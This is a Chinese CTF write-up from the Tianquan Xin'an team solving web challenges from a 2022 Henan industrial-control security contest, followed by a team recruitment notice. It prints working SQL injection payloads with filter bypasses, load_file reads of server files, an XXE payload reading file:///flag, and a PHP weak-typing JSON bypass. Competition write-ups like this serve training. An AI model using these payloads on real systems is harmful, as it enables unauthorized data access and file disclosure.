本文来自:天权信安网络安全生态圈
作者:天权信安网络安全团队
Headlight
HNGK-兰亭集序
进入靶机,直接跳转到这个URL页面,有file参数请求,猜测是ssrf
F12查看源码,发现提示,
尝试在URL里修改提示的flag文件,
啥都没有,F12看下源码,发现flag
提示是一个sql注入
进入后发现提示输入一个id参数,尝试用get传参,发现回显,
输入id=1′,判断闭合符号,
报错,输入id=1’%23,
恢复正常,说明闭合符号是’
然后先判断下表格的列数是多少,输入id=1’order by 1%23,
发现报错,查看报错信息,发现报错的是 derby1 ,说明字母o还有空格被过滤掉了,用/**/代替空格,用Order代替order,提交,
发现还报错,但是报错信息改变了,没有or,猜想是or不能连用,于是继续改变order为O rder,提交,
终于正常了。
然后判断列数为3,
联合查询数据库,?id=1’union/**/select/**/1,2,database()%23
报错,发现是select被过滤了,
尝试双写绕过,?id=1’union/**/seselectlect/**/1,2,database()%23
成功!
接下来使用下列命令查询数据库中的数据,
1,查询数据库
?id=-1’union/**/seselectlect/**/1,2,group_concat(schema_name)/**/from/**/infO rmation_schema.schemata%23
注意:or之间要加个空格,否则会被过滤
2,查表名
?id=-1’union/**/seselectlect/**/1,2,group_concat(table_name)/**/from/**/infO rmation_schema.tables/**/where/**/table_schema=’security’%23
3,查字段
?id=-1’union/**/seselectlect/**/1,2,group_concat(column_name)/**/from/**/infO rmation_schema.columns/**/where/**/table_name=’emails’%23
4,查数据值,
?id=-1’union/**/seselectlect/**/1,2,group_concat(id,email_id)/**/from/**/security.emails%23
按照上述方法将security中所有数据看一遍,发现没有flag………….
猜想是非预期,于是提交,
?id=-1’unioN/**/sselectelect/**/1,load_file(“/var/www/html/index.php”),3/**/%23
证明是非预期,最终在根目录下发现flag,
?id=-1’unioN/**/sselectelect/**/1,load_file(“/flag”),3/**/%23
尝试了几下以为是sql注入,结果登录点不动,sql注入尝试失败,继续点开源代码查看
经典xxe,我直接向doLogin.php
发包,利用经典协议流
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM “file:///flag” >]>
<user><username>&xxe;</username><password>111</password></user>
在包里填充发送,flag一把哈出来了
乱码,直接修正乱码
提示php66.php
一眼丁真代码审计
首先就是先知道json传参的形式
接下来开始绕过函数分析
year”:”2022a”绕过$info[“year”]=2022)
“items”:[]绕过is_array(@$info[“items”])
“items”:[“0”,[“a”],”g”] 绕过 !is_array($info[“items”][1])OR count($info[“items”])!==3
0绕过array_search(“game”, $info[“items”]),用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比较。
最后构建payload:
?get={“year”:”2022a”,”items”:[0,[“a”],”g”]}
2023年招新计划(主力/NMEGREZ)
注:不限年龄与职业要求,只要不是纯小白(或者是初学者未参与过任何一场比赛的人)就有机会通过审核,天权信安对外长期招新,出色的师傅能够参与团队项目和竞赛项目建设。
PWN:要求技术中等偏上(曾参与过省级/国家级网安赛事荣获过奖项的师傅优先考虑)
REVERSE:要求技术中等(曾参与过省级/国家级网安赛事荣获过奖项的师傅优先考虑)
CRYPTO:要求技术中等偏上
WEB:要求技术中等偏上
取证:曾参与过省级网安取证赛事荣获过奖项的师傅
BLOCKCHAIN/IOT/工控/AI:要求技术中等
CTF竞赛靶场/TQCTF练习平台运维师傅:若干名,熟悉docker操作、动态题目部署、以及常规运维,还具备组网部署经验和Linux、Windows系统部署和日常维护,能使靶场平台在各种环境中正常运行。
欢迎联系:
投递邮箱:[email protected](Evan师傅)
–天权信安网络安全团队–
网络无边 安全有界
用技术撬动未来,用奋斗描绘成功!
天权信安欢迎技术大咖、CTF选手等资深专业人士前来分享网络安全前沿技术、攻防实战经验、内网渗透、IOT安全、CTF、工控安全等内容,一起来帮助大家了解最新网络安全动态,提升新的安全技术,拓宽知识领域,打造一个开放共享的网络安全生态圈,吸引各大爱好CTFer和实战大咖加入我们。这里聚集了一群热爱网络安全的有志之士的加入,为“网络安全爱好者”提供一个更好的学习交流生态圈。
面向人群:欢迎各大高校、企事业单位大咖加入我们!
往期回顾:
原文始发于微信公众号(天权信安):2022IS河南工业控制安全部分web题解